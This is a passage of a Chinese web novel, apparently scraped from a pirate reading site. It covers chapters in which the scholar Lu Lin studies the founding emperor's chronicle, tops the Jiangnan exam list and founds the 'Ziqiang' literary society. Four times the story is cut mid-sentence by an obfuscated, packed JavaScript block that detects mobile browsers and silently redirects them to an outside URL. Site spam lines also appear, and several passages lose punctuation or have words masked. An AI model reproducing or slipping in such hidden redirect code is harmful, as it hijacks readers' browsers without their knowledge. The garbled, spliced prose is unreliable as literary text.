是在用最直白,最有力的方式,鼓励天下所有大夏子民,投笔从戎,共赴国难! 其立意之高,格局之大,已远非第一首诗可比。 先前那位言之凿凿认定第一首诗是卢璘所作的考官,故作失望地叹了口气,可脸上却满是笑意。 魏长青手持着卢璘的考卷,胸中激荡,长长地吐出一口气。 他转过头,环视众人,一字一顿。 “这就是我临安风骨,卢案首! “诸位同僚,此次院试,卢璘当为我临安府案首,可有异议? “我等没有半点异议。 “实至名归!当之无愧啊! 夜凉如水。 圣院分院铁门缓缓开启,门外的喧闹声瞬间涌来。 “出来了!考生们出来了! “儿啊!我在这! 焦急的呼喊声此起彼伏,无数家人提着灯笼,伸长了脖子在人群中寻找自家亲人。 卢璘背着行囊,随着人流走了出来。 他没有四处张望,穿过人群径直朝着柳府别院的方向走去。 身后是鼎沸的人声,身前是寂静的长街。 第142章 太祖之异。 三日后就放榜。 卢璘也就没有着急回清河县,安静待在柳府别院。 白天练字看书,为乡试会试做准备,晚上则在书房,继续品读《大夏太祖实录》。 夫子以为他研究帝王喜好,是想揣摩上意,为日**仕铺路。 可卢璘的心思,却全都在大夏太祖这位大夏朝的开创之君身上。 之前粗略翻看,只觉得太祖思想超前,有“与士大夫共治天下”的胸襟,非常人也。 可反复品读下来,卢璘又觉得,这位太祖皇帝,是一个十分矛盾的人。 开国之前,他大权独揽,手段酷烈,将所有权力都牢牢抓在自己手中。 可开国之后,却一反常态,主动放权,确立了与士大夫共治天下的格局。 卢璘不相信一个人的性格,会转变得如此之快。 背后一定有什么不为人知的原因。 油灯下,卢璘继续拿起《大夏太祖实录》,翻到了新的一页。 “永初三年冬十月甲子,太祖问学于鲁山,太祖临鲁山书院,执弟子礼见至圣先师。” “太祖问曰:‘寡人闻‘天命靡常,惟德是辅’。德不自显,必假文以明道。愿从先生游于圣门之庭,列文曲之籍,可乎?’” 这一段内容讲的是太祖和至圣先师的对话。 至圣先师丘,文庙的开创者,天下读书人的祖师爷。 太祖皇帝,竟想拜入他的门下,成为一名读书人? 卢璘目光在“列文曲之籍”五个字上短暂停留。 所谓的文曲之籍,便是文位。 一个已经君临天下的帝王,为何还要追求一个虚无缥缈的文位? 真的只是为了所谓的“德不自显,必假文以明道”? 卢璘继续往下看。 “先师端坐杏坛,不动衣冠而对曰:‘君问非其道也。天有日月,地有江河,人分君臣,道别文武。王若执戈而耽墨,犹使北辰司晨昏也。’” 至圣先师拒绝了太祖。 而且拒绝得干脆利落。 至圣先师的理由也很充分,君王与文臣,本就各司其职,井水不犯河水。 你一个马上打天下的君王,跑来掺和我们读书人的事,不合规矩。 卢璘的眉头皱起。 如果只是这样,那倒也寻常。 可太祖的反应,却出乎意料。 “太祖按剑曰:‘文武本为一体,昔周制礼作乐,非君王而何?’ 按剑。 这是一个极具压迫感的动作。 面对天下读书人的祖师爷,太祖皇帝竟隐隐有以武相逼的意味。 他不是在请求,而是在质问。 这说明什么? 说明太祖对“文位的渴求,远超常人的想象。 卢璘的心跳,不受控制地快了几分。 隐隐感觉自己抓到了重点。 接着看下去,卢璘看到了至圣先师的回答。 “先师振木铎答:‘周摄政,非常例也。夫圣王代天牧民,当如苍穹覆物,至高故不言,至广故不察。若屈天心而逐字句,犹令岱岳计量沙砾,非但不能,实为乱本。’ 这段话,比之前的拒绝更加彻底。 至圣先师将君王的地位,抬到了一个近乎于“道的层面。 圣王代天牧民,就应该像天空覆盖万物一样,至高无上,所以不必事事发言;至为广阔,所以不必事事洞察。 你一个君王,如果屈尊降贵,来跟我们读书人一样钻研字句,就好比让泰山去数沙子,不仅做不到,更是**的根源。 话说到这个份上,已是彻底堵**太祖所有的路。 卢璘都能感受到,太祖皇帝在听到这番话后的反应。 果然。 “太祖默然良久,忽解所佩玄珪置案上:‘寡人终不可得文位耶?’ 玄珪,天子之圭,权力的象征。 太祖解下玄珪,放在案上,问出了这句话。 这句话里,充满了不甘,甚至是一丝.绝望。 为什么? 一个文位而已,为何能让一位开国帝王如此失态? 卢璘心里满是困惑,看向了最后书页最后一小段: “先师以硃笔点圭,乃叹:‘王已得天道敕封,何必更索人间翰墨?’ 至圣先师用朱砂笔,在象征着天子权柄的玄珪上,轻轻一点。 而后,长叹一声。 “王,你已经被天道册封,又何必再来强求这人间的翰墨功名 呢? 卢璘合上了书,口中反复咀嚼着几个字。 “天道敕封. 小说全网首发无弹窗免费阅读caixs.com?(请来才 小说 看最新章节 完整章节) 这究竟是安慰之词,还是另有深意? 太祖皇帝想当读书人,真的只是为了“德不自显,必假文以明道? 还是说,他有更深一层的想法? 卢璘摇了摇头。 想不通。 总觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453192|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得,缺少了某个最关键的信息,无法将这一切都串联起来。 还有从太祖之后的七位先帝,驾崩的时间,都太过巧合。 就好像他们的寿命,从一开始就被设定好了一样。 这和太祖求“文位而不得,又有什么关系? 卢璘摇了摇头,没有头绪。 再次翻开《大夏太祖实录》,略过了这一段,继续往下看。 三日后的清晨。 卢璘照例练完字,而后又打了一套健体拳。 一套拳打完,整个人浑身热气蒸腾,刚准备去冲个澡,别院的下人便匆匆来报。 “卢公子,放榜了。 卢璘笑着客气地谢过,脸上不见却半分急色。 没有立刻出门,而是不紧不慢地去冲了个澡,换上了一身干净的青色长衫,这才缓步走出了柳府别院。 等卢璘抵达圣院分院门前时,早已是人山人海。 江南道下辖二十四府,临安府又下辖十余县。 今年的童试,从第一场县试算起,考生数量足有五万之众。 经过县试、府试两轮残酷的筛选,能走到这院试的,也还剩下一万余人。 可最终能被录取的秀才,不过区区几千名。 百中取五,千军万马过独木桥,绝非虚言。 院试放榜与县试、府试不同,圣院分院门前,足足张贴了二十四张榜单,对应江南道二十四府,一府一榜。 各府高中者皆在榜上,每府亦会决出一位案首。 除此之外,所有人都知道,还会有最后一张总榜,将二十四府的案首再分高下,决出一位真正的童试案首,冠绝江南。 卢璘没有像其他考生那样,拼了命地往人群里挤。 修身特效加持下,卢璘耳聪目明,即便隔着十几丈,榜上的蝇头小楷也清晰可见。 视线从一张张榜单上扫过,很快便在中间的位置,找到了临安府的榜单。 目光直接落在了榜首。 “乙四十二,清河卢璘。 看到自己名字高悬榜首,卢璘心中波澜不惊,准备打道回府,直接返回清河县。 可就在转身之时,圣院之内,又走出一队衙役与小吏。 为首的小吏手上,还捧着一卷崭新的榜单。 队伍穿过拥挤的人群,径直走向悬榜的墙壁。 “我江南道的总榜出来了。 “想来是有的府批阅慢了些,这才刚刚定了顺序。 “将各府案首的文章放在一起评阅,分出高下,真正江南案首要出来了。 第143章 江南道案首! 此言一出,人群的气氛顿时变得更加热烈。 一名衣着华贵的池州府学子,脸上带着傲气,高声说道: “要论文风鼎盛,我池州府在江南道向来名列前茅。” “尤其是今年,我池州府的黄观兄,县试、府试皆是案首,这次院试自然也不例外。这江南道总案首,必是我池州府的囊中之物!” 话音刚落,旁边一位徽州府的学子便冷笑一声。 “笑话!论文脉底蕴,江南道何时轮到你池州府指手画脚了?我徽州府案首此次院试,一诗鸣州,才气冲霄。这江南案首若是旁落,只能说此次院试的主考官有眼无珠!” 眼看外府之人如此大放厥词,几名临安府的学子脸上顿时挂不住了。 “我临安府乃江南道首府,更有卢案首名动京都,何时轮到你们在此饶舌?” “就是!要论战诗词,同辈之中,谁能与我临安府卢案首比肩?一句‘天下谁人不识君’,引得京都纸贵,你们难道没听说过?” 此言一出,方才还争得面红耳赤的池州、徽州学子,气焰顿时矮了半截。 人的名,树的影。 在场的读书人,谁没有听过卢璘的大名? 去年京都斗法,以一己之力为大夏读书人扬名。 县试更是写下“修身齐家治国平天下”这等足以载入圣贤书的雄文。 盛名之下,岂有虚士。 眼看众人哑口,那名池州府的学子仍是不服,嘴硬道:“战诗词一道,卢案首固然冠绝同辈。可院试并非只考战诗词,其比重并不算高。” “我池州府黄观兄家学渊源,于策论、经义上的造诣,深不可测。尤其是这次第二场‘天道与人心’之辩,最是考验儒生基本功,谁胜谁负,尚未可知!” 几名临安府学子懒得再与他多费口舌,撂下一句: “那就拭目以待。” 众人议论之间,那名小吏已将最后一张榜单,高高悬挂于墙壁正中。 无数道视线齐刷刷地汇聚过去。 只见榜首的名字,赫然写着: “清河卢璘!” 短暂的寂静后,人群彻底沸腾。 临安府的学子们率先反应过来,一个个与有荣焉,兴奋地涨红了脸。 “果不其然卢案首实至名归啊!” “哈哈哈我就说嘛 一名徽州府学子感慨万千:“若非卢案首去岁卷入了那桩谋逆案耽搁了一年他早就是名副其实的江南道案首了。” “是啊而且你们没听说吗?今年院试的题目比往年都要难上许多卢案首还能稳居榜首这才是真正的本事!” 听着周围临安府学子的欢呼之前还言之凿凿的池州府学子长长地叹了口气。 败了败得心服口服。 对于卢璘拿下这江南道案首他其实并没有太多的意外。 毕竟卢案首之名经过京都斗法一事早已名传天下。 真要拿不到案首那才是天大的稀奇事。 对不起当今圣上亲封的卢案首之名。 自己之前那番话不过是怀着一丝侥幸想为自家府学的同窗争一口气罢了。 他下意识地望向人群中的一个方向那里站着一位身穿月白长衫的学子。 面容俊朗气质沉稳正是此次池州府的案首在江南道总榜上仅次于卢璘位列第二的黄观。 本以为会在黄观脸上看到失落不甘。 可他看到的却是一双亮得惊人的眼睛和满脸的激动。 只见人群中黄观面露激动之色而后振臂高呼:“能与卢案首同场较量败在其手是我黄观的荣幸!说出去也是一段佳话!” “若非卢案首去岁遭逢变故我等又哪里有这个机会能与这等人物一较高下!今日一见方知天外有天人外有人!” 无人知晓黄观此刻内心的激荡。 若是旁人拿下了这江南案首他或许还会心有不服想要争上一争。 可这个人是卢璘。 对于卢璘他没有半点不服。 外人只称道他黄观家学渊源基础扎实师从当朝翰林。 可他们哪里知道就连教导自己的翰林叔父在读到卢璘那篇《圣策九字》时都拍案叫绝赞不绝口甚至让黄观将其奉为圭臬日夜研读。 连这次院试第二场四书五经题天道和人心之辩都是引用的卢璘《圣策九字》中的经典。 从那一刻起黄观就从未有过与卢璘争锋的想法。 能与这等人物同台较量本身就是一种荣幸。 输给卢璘不丢人。 能仅次于卢璘位列江南道总榜第二这已经是莫大的荣耀了! 周围的学子们听到黄观这番话无不心生敬佩纷纷感叹其胸襟开阔。 却听黄观继续开口在人群中张望:“卢案首可来了现场?不知是哪位同窗可曾看到了卢案首?” 一名临安府的学子反应过来连忙朝着人群后方一指。 “卢案首在那!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453193|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄观顺着他指的方向望去挤开人群快步走到了卢璘面前。 他整理了一下衣冠对着卢璘深深一揖脸上满是激动。 “池州黄观见过卢案首。” “这次江南道案首卢案首当之无愧我等心服口服!” 黄观身后其他各府的学子也纷纷围了过来 “见过卢案首我等心服口服!” 连总榜第二的黄观都亲口承认了他们这些排名更靠后的人自然更没有异议。 卢璘之名早已是这一代读书人心中难以逾越的高山。 面对众人的推崇卢璘平静地回了一礼声音沉稳: “诸位同窗言重了。” “院试不过是漫长求索路上的一小段不必如此放在心上。” “诸位皆是大夏读书人是江山社稷未来的基石。” “未来的路还很长莫要因一时之高下而乱了心气当向前看。” 众人皆是一愣。 本以为像卢璘这等名满天下才华冠绝同辈的天才必然是心高气傲眼高于顶。 可没想到非但没有半点高高在上的姿态反而推心置腹用这番话来劝慰众人。 这是何等的胸襟! 非常人也! 有领袖之姿! 黄观更是激动不已得见偶像竟是如此平易近人。 “感谢卢案首教诲!” 紧接着黄观话锋一转:“卢案首我听说今年秋闱的乡试非比寻常世家都有派人下场的打算。” “我江南道的文名可就都落在您一人身上了!” 卢璘闻言只是笑了笑没有回应。 可黄观的这番话却被其他学子听了去。 “什么?世家也要下场?” “这这怎么可能!他们不是向来不屑于与我等争夺科举名额吗?” “完了完了!世家子弟也要参加乡试那我等寒门出身岂不是半点机会都没有了?” 议论声在人群中扩散开来。 世家。 两个字对天下寒门学子而言重如泰山。 这是传承了数百上千年的庞然大物其底蕴之深厚远非寻常人所能想象。 以往的科举那些世家大族最多也就是派些旁支庶流的子弟出来历练一番。 可即便如此也足以轻松摘得状元桂冠将一众寒门才子压得抬不起头。 如今连那些真正的嫡系核心子弟都要下场他们这些普通出身的读书人又怎么可能与之为敌? 根本就不是一个层面的较量。 第144章 谁言寒门难出贵子! 榜前的热闹,不知不觉间冷了下来。 方才还兴高采烈的学子们,有人长吁短叹,有人低头不语。 见众学子神色不一,卢璘缓缓开口: “他们来,便让他们来。” 众人一愣,纷纷抬头看向他。 只见卢璘环视众人,脸上不见半分忧色,目光坚定: “世家子弟又如何?科举场上,终究比的是胸中笔墨,不是什么家世血脉。” “他们读过万卷书,我等何尝不是寒窗十载?” 现场为之一顿,一众江南道的学子们凝视着人群中的卢璘若有所思。 卢璘继续朗声开口: “江南读书人的骨气,不该是被一个名头就吓退的。” “他们若真有本事,便堂堂正正在考场上胜过我们。” 视线扫过一张张年轻而迷茫的脸,卢璘话锋陡然一转,变得锐利起来: “可我想问诸位一句,难道还没开始考,你们就已经认输了吗?” 人群中有人下意识地捏紧了手。 可更多的还是底气不足,有学子低声道:“可他们从小接触的资源,看的典籍,请的老师,都不是我等能比的……” “是啊,听说世家子弟自小就有大儒开蒙,我等连见一面都难。” 卢璘摇头打断,反问道: “那又如何?” “朝廷开科取士,要的是真正能为国为民的人才,而不是拼谁家藏书多,拼谁家门第高。” “若只看家世,何必开科取士?直接让他们**罔替便是了!” “诸位能站在这里,能从数万考生中脱颖而出,靠的是谁家的藏书?靠的是谁家的门第?” “靠的是自己十年如一日的苦读!” 卢璘往前踏了一步,声音愈发洪亮。 “自甘认输的,才真的输了。” 人群中,黄观听着这番话,只觉得胸中一股热血在奔涌。 他深吸一口气,突然也踏前一步,振臂高呼: “卢案首说得不错!世家又如何?” “天下文脉,本就该天下人共争,不是谁家的私产!” 卢璘对着黄观点了点头,而后再次面向众人,声音温和下来,却更加坚定: “诸位不必妄自菲薄。” “从今往后我临安学子可以互相切磋同进同退。” “要让他们知道江南的才名不是靠门第堆出来的!” 一句话点燃了满场热血。 人群先是一静。 随即压抑的情绪彻底爆发。 “对啊!还没比就认输算什么读书人!” “卢案首说得对!输了也得堂堂正正地拼一把再说!” “我临安府何曾怕过谁?管他什么世家子弟 小说更新,记住域名caixs?(请来才 小说 看最新章节 完整章节)考场上见真章!” “就是!我等寒窗十载难道还怕了他们不成!” 原来的忧心忡忡转眼变成了激昂的战意。 看着一张张重新燃起斗志的脸卢璘缓缓一笑。 “况且谁说寒门出不了才子?” 他顿了顿环视全场。 “眼前站着的诸位不就是最好的证明?” 话音落下现场再度为之一静。 学子们此刻胸中只剩下一股被点燃的热血。 是啊。 世家又如何? 他们能站在这里本就是从千军万马中杀出来的靠的从来不是家世门第而是十年如一日的苦读。 还没比就先认输这算什么读书人! 人群中黄观只觉得一股气血在胸膛里激荡。 他望着人群中央那个身姿挺拔的卢案首激动之情溢于言表。 这才是真正的读书人风骨! “卢案首一言振聋发聩!” 黄观对着卢璘又是一揖: “我等寒门学子平日里各自为战如同一盘散沙如何能与那些盘根错节的世家抗衡?” 他环视众人声音激昂。 “黄某斗胆提议我等江南道学子今日在此结社!互通有无同进同退拧成一股绳!” 结社! 这两个字一出现场再次沸腾。 “黄兄此言大善!” “对!我们应该团结起来!” “若能时常聆听卢案首教诲何愁学问不精?” 一时间所有人的视线都汇聚到了卢璘身上充满了期盼。 现在还留在现场的都是过了院试的秀才。 是真正的读书人,自然明白结社的意义。 这不仅仅是抱团取暖,更是搭建人脉,互通声气的重要途径。 若能由名动京都的卢案首来牵头,那这文社的分量,将无可估量。 卢璘看着一张张热切的脸,没有立刻回答。 结社么。 这在大夏朝,可是一件极为敏感的事。 文人结社,自古以来就是党争的雏形。 一个不慎,便是万劫不复。 可凡事皆有两面。 若能将这股力量引导在正途上,提前经营起自己的人脉,未来入朝为官,这便是自己最坚实的大本营。 一群由自己亲手扶持起来,遍布朝堂内外的同年、同乡,其价值,无可估量。 这步棋有风险,但值得走。 在众人期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453194|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待的注视中,卢璘缓缓点头。 “结社,可以。” 人群中爆发出热烈的欢呼。 “但是。”卢璘抬手,止住了欢呼声,场面瞬间安静下来。 “我有一个规矩。” 卢璘环视众人,郑重其事道: “文、学、守、正。” “何为‘文’?文者,乃我辈共研之基。入我文社,只论文章,不论朝政。” “何为‘学’?学者,乃精进不懈之本。社中同仁,当互为师友,共勉进学。” “何为‘守’?守者,不逾正途。结社是为学问,而非钻营。不攀权贵,不涉党争。” “何为‘正’?正者,不忘初心。若有背此规者,无论何人,一律逐出文社!” 四条规矩,清晰明了。 在场的学子们都是聪明人,稍一思索,便明白了卢璘的深意。 只论文章,不谈朝政,这是在给文社划定一条绝对的红线,是自保之策。 互为师友,共勉进学,这是结社的根本。 不攀权贵,不涉党争,这是读书人的风骨。 众人面面相觑,而后纷纷点头。 “卢案首高见!区区俗世之争,何足道哉,我等但问圣贤书!” “结社以通文心,而非依附权贵,大善!” 一名学子思虑周全,还是问了一句:“日后若有异变,社中有人妄言朝局, 当如何处置?” 卢璘的回答没有任何犹豫。 “妄议朝廷者逐出文社终身不录!” 斩钉截铁不留半点余地。 众人心头一凛彻底明白了卢璘的决心。 这文社只能是纯粹的学术团体绝不能沾染半分**色彩。 黄观满脸敬佩再次上前。 “卢案首深谋远虑我等拜服!” “既如此今日立社我提议由卢案首担任社首诸君以为如何?” “我等附议!” “非卢案首莫属!” “请卢案首带领我等!” 呼声一浪高过一浪。 在现场江南道学子心中卢璘早已是当之无愧的领袖。 卢璘却摇了摇头制止了众人的呼声。 “社首推举不急于一时。” “当由社中公议择贤者居之。” 此言一出众人又是一愣。 放着唾手可得的社首之位不要反而要公议推举? 这是何等的胸襟气度! 黄观先是错愕随即恍然卢案首此举是不想搞一言堂是想让所有社员都参与进来 黄观心悦诚服地拱手: “卢案首说的是。” “那便先拟定章程再择社首不迟。” 第145章 自强! 既然决定结社,卢璘也就没有着急回清河县。 人群中,方才第一个站出来支持卢璘的临安府学子,再次高声开口。 “卢案首,诸位同窗,我家在城南正好有一处闲置的园子,地方不小,也还算雅致。” 这名学子面带热切,同时把目光看向卢璘。 “若大家不嫌弃,不如今日就移步过去,正好将社名与章程都定下来,如何?” 见卢璘没有表露出拒绝的意思。 黄观第一个赞同附和:“陆兄此议甚好!” 他转头看向众人,补充道:“确定了社团章程,我等下午正好可以一同去圣院书写亲供。” 亲供,即秀才的身份档案。 凡是院试录取的生员,都需亲自前往官府,书写自己的年龄、籍贯、三代履历。 并且要详细注明身材、面色、有无胡须等体貌特征。 这是每年的惯例了。 写完亲供,由教官审核并盖上印鉴后,还要统一送交学政大人存档。 黄观又提醒了一句:“诸位记得把生员服都带上,免得到时被人挑出问题。” “多谢黄兄提醒!” “走走走,同去同去!” 众人顿时欣喜,三三两两结伴,簇拥着卢璘,浩浩荡荡地朝着城南方向走去。 一路上,众人情绪高涨,议论不绝。 方才因世家下场所带来的阴霾,早已被一扫而空。 不多时,众人便跟着那名姓陆的学子,来到了一处宅院前。 只见朱漆大门,门口蹲着两只石狮,门楣上挂着一块黑漆牌匾,上书“半亩园”三字。 光看这门脸,便知不是寻常人家。 有学子忍不住咋舌:“陆兄,你这这是闲置的园子?” “这地段,闹中取静,去哪都方便,说是临安府的中心也不为过啊。” 众人站在门口,反倒有些不好意思迈步进去了。 一名学子更是直接调侃起来。 “陆恒,你这小子,家有巨富,混入我等寒门是何居心?” 被称作陆恒的学子嘿嘿一笑,挠了挠头,半点没有被戳穿的尴尬。 “在那些真正的世家面前,我等不都是寒门吗?” “再说了,卢案首不是说了嘛,咱们结社,只钻研学问,不论其他。 卢璘听着这番话,脸上也露出了笑意,对着陆恒点了点头,率先迈步而入。 “陆兄说的是,我们进去吧。 众人见状,这才放下心中那点拘谨,纷纷跟在卢璘身后,走进了园子。 一进园中,更是别有洞天。 假山流水,亭台楼阁,长廊曲折,花木扶疏。 布局精巧,处处透着匠心。 众人一路走,一路看,口中赞叹不绝。 穿过一片竹林,前方豁然开朗,出现了一片开阔的草坪,草坪中央建有一座八角凉亭,足够容纳几十人。 陆恒指着凉亭开口:“诸位,我们就在此地议事如何? “好,此地甚好! 众人落座,自有陆府的下人奉上香茗。 待众人情绪稍定,便开始讨论起正事。 一名学子率先提议: “我以为,既是文社,当立社录一本。 “凡社中同仁,有开创性之见解、优秀之文章、新学之感悟,皆可载入其中,供大家传阅参考。 这个提议立刻得到了所有人的赞同。 黄观紧接着附和道:“社录之外,还可再设诗集一本!我等江南文风鼎盛,当有诗集以记之! 说完,目光灼灼地看向卢璘。 “卢案首诗才无双,书法一道更是圣上亲口称赞过的。不知我等,今日有没有这个荣幸,能请卢案首为我等诗集题写序言? “求卢案首墨宝! “是啊,若能得卢案首一字,我等回去也能向亲友炫耀一番了! 气氛瞬间热烈起来。 卢璘没有拒绝。 既然决定了要结社,这些便是分内之事。 他平静地点了点头:“分内之事,自当尽力。 见卢璘应下,众人又是一阵欢呼。 接着,便有学子提到了最关键的问题。 “社录与诗集都好说,但这社首人选…… 那学子话音刚落,亭中便安静下来。 所有人都知道,这只是走个过场。 这次结社,本就是以卢璘为中心,因他一番话而起。 这社首之位除了他还能有谁? 黄观第一个站起身对着卢璘郑重一揖。 “我提议由卢案首担任我社社首总领学风考订文章!” “我等附议!” “非卢案首莫属!” 亭中众人齐刷刷地站起对着卢璘齐齐拱手脸上满是期盼。 面对众人的推举卢璘没有立刻答应。 他站起身环视众人缓缓开口。 “诸位厚爱卢某愧不敢当。” 众人皆是一愣。 卢璘却继续说道:“社首之位我可暂代。但我有一个提议。” “文社事务繁杂若事事皆由社首一人而决恐有不妥也非长久之计。” “我提议在社首之下增设一位社长掌管社务。” 社长? 众人面面相觑这是一个全新的职位啊。 只听卢璘继续解释道:“社长主理文会筹办、人员召集、社录刊印等一应俗务。” “而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453195|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 社首 “最重要的一点。”卢璘加重了语气“社长人选由社中所有同仁公议推举每三年改选一次且不得连任。” 话音落下满亭寂静。 所有人都被卢璘这个提议给震住了。 将权柄一分为二。 学术归社首行政归社长。 社长还要公开选举三年一换还不能连任! 这是何等巧妙的构想! 彻底杜绝了一言堂的可能也避免了社首因俗务缠身而荒废了学问。 更重要的是这给了社中其他有才能的人一个施展抱负、获取声望的平台。 黄观怔怔地看着卢璘心中翻江倒海。 他本以为卢案首只是才华盖世没想到在制度构建上竟有如此远见卓识。 这等胸襟这等气度! 他心悦诚服地再次深深一揖。 “卢案首高见!此法大善!” “如此一来我等文社方能长久!” 其他学子也回过神来纷纷点头称是。 “社首与社长分权各司其职妙啊!” “有能者居之三年一换公平公正!” “我等彻底服了!卢案首不仅是学问,连这等谋划,也远非我等能及!” 看着众人信服的表情,卢璘心中安定。 这套后世社团管理的模式,正是他为这个初生的文社量身打造的。 权力必须被关进笼子里。 哪怕只是一个文社。 他要的,不是一群只知听命的附庸,而是一个能够自我运转,不断吸纳新鲜血液,充满活力的团体。 这,才是自己未来最坚实的大本营。 “既然诸位没有异议,此事便这么定了。”卢璘一锤定音。 “今日我们先定下社名与总纲,至于第一任社长的人选,待我等从圣院书写亲供回来,再行公议。” 众人自然没有意见。 “那这社名,还请卢案首定夺!”黄观再次开口。 卢璘略作思索,目光扫过在场的每一张年轻而热切的脸。 他们是这个时代江南道最优秀的读书人,是大夏未来的希望。 卢璘缓缓开口: “《易》有云:天行健,君子以自强不息。” “我等寒门学子,无所依凭,唯有自强不息,方能在这科举之路上,杀出一条血路。” “文社之名,便叫‘自强社’,如何?” 自强社。 众人反复咀嚼着这三个字,只觉得一股豪气直冲胸臆。 “好!好一个自强社!” “君子以自强不息!正合我等心意!” 黄观更是激动得满脸通红。 “今日,我江南道自强社,于此成立!” 第146章 报喜! 卢璘见众人已然领会,便继续开口:“社首之位,卢某暂代。但这第一任社长,我心中倒有一位合适的人选。” 众人齐齐看过来。 只见卢璘的视线,落在了黄观身上。 “黄观兄家学渊源,此次院试位列江南道总榜第二,其才学、品性,众所周知。” “由黄兄来担任我自强社第一任社长,诸位以为如何?” 此言一出,黄观整个人都愣住了。 他完全没有想到,卢璘会主动推举自己。 其他人也是一怔,但随即反应过来,纷纷点头。 “卢案首所言极是!黄兄沉稳持重,最是合适不过!” “我等附议!” “请黄兄担任社长!” 黄观回过神来,连忙摆手推辞:“诸位抬爱,黄某愧不敢当!论才学,我远不及卢案首,论声望,更是不及其万一。这社长之位,我……” 卢璘打断了他。 “黄兄不必自谦。社首主学,社长主事,二者各司其职,并无高下之分。” “况且,社中事务繁杂,正需要黄兄这般细心稳妥之人来主持大局。若黄兄不应,我等又该去何处寻这般合适的人选?” 陆恒也跟着劝道:“是啊黄兄,你就别推辞了!卢案首日后定要专心学问,为我等江南读书人,在秋闱上争一口气!这些俗务,总得有个人来操持。” 众人再次齐声附和。 “请黄兄担任社长!” 黄观看着卢璘真诚的表情,又看了看周围一张张期盼的脸,胸中一股热流涌动。 他不再推辞,对着众人深深一揖。 “既如此,黄某便却之不恭了。” “定不负卢案首与诸位同窗所托!” 亭中顿时响起一片热烈的掌声。 社首与社长既定,众人又商议了社录刊印、文会定期等诸多细节,将章程一一完善。 不知不觉,已是午时。 陆恒拍了拍手:“诸位,时辰不早了,我等换上生员服,一同去圣院书写亲供如何?” “好!” “同去,同去!” 一群人兴致高昂,各自从行囊中取出崭新的生员服换上,结伴朝着圣院的方向走去。 与此同时。 临安府通往清河县的官道上,一小队衙役正策马疾驰。 为首的衙役怀中揣着一卷大红喜报,马鞍上还挂着一面“捷报小旗,迎风招展。 马蹄声渐进,进了清河县城后并未停留,一路敲锣打鼓,径直朝着文庙街的方向而去。 文庙街的街坊邻居被动静惊动,纷纷探出头来。 有胆大的汉子迎上去,高声问道:“官爷,这是哪家的大喜事啊? 为首的衙役勒住马,满脸喜气高声回应:“清河县卢家!卢老爷高中院试,钦点案首,位列江南道第一! 江南道第一! 汉子闻言眼睛都瞪圆了,掉头就往回跑。 一边跑,一边扯着嗓子高喊:“出秀才啦!卢家出秀才啦!高中第一名! 这一声喊,把文庙街其他邻居给炸出来了,一个个从自家院里跑出来瞧热闹。 “什么?卢家小子中了? “还是第一名?整个江南道的第一? “我的天爷!快去看看! 整条文庙街瞬间炸开了锅。 街坊们都知道卢家孩子今年下场科举,平日里看着就文质彬彬,不像凡品,没想到竟这般出息。 一时间,家家户户都涌出人来,跟着报喜的队伍,浩浩荡荡地朝着卢家小院走去。 此刻,卢家小院里。 李氏正叉着腰,对着小石头训话。 小石头鼓着一张脸,满是不忿:“娘,为啥呀?我就得去蒙学,郑姐姐就不用去!我还想跟爹去铺子里学手艺呢! 李氏伸出指头,没好气地点了点她的脑门。 “你傻啊!咱们是什么家,郑宁是什么家?她就是头猪,生在郑家也能一辈子吃喝不愁!你能吗? 角落里,郑宁闻言额上满是黑线,不会打比方就闭嘴吧! 就在这时,院外传来了越来越近的敲锣打鼓声。 一个邻居大婶气喘吁吁地第一个跑进院子,脸上满是激动。 “李婶子!大喜事啊!你家相公高中啦!中秀才了,还是第一名! 李氏闻言一愣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 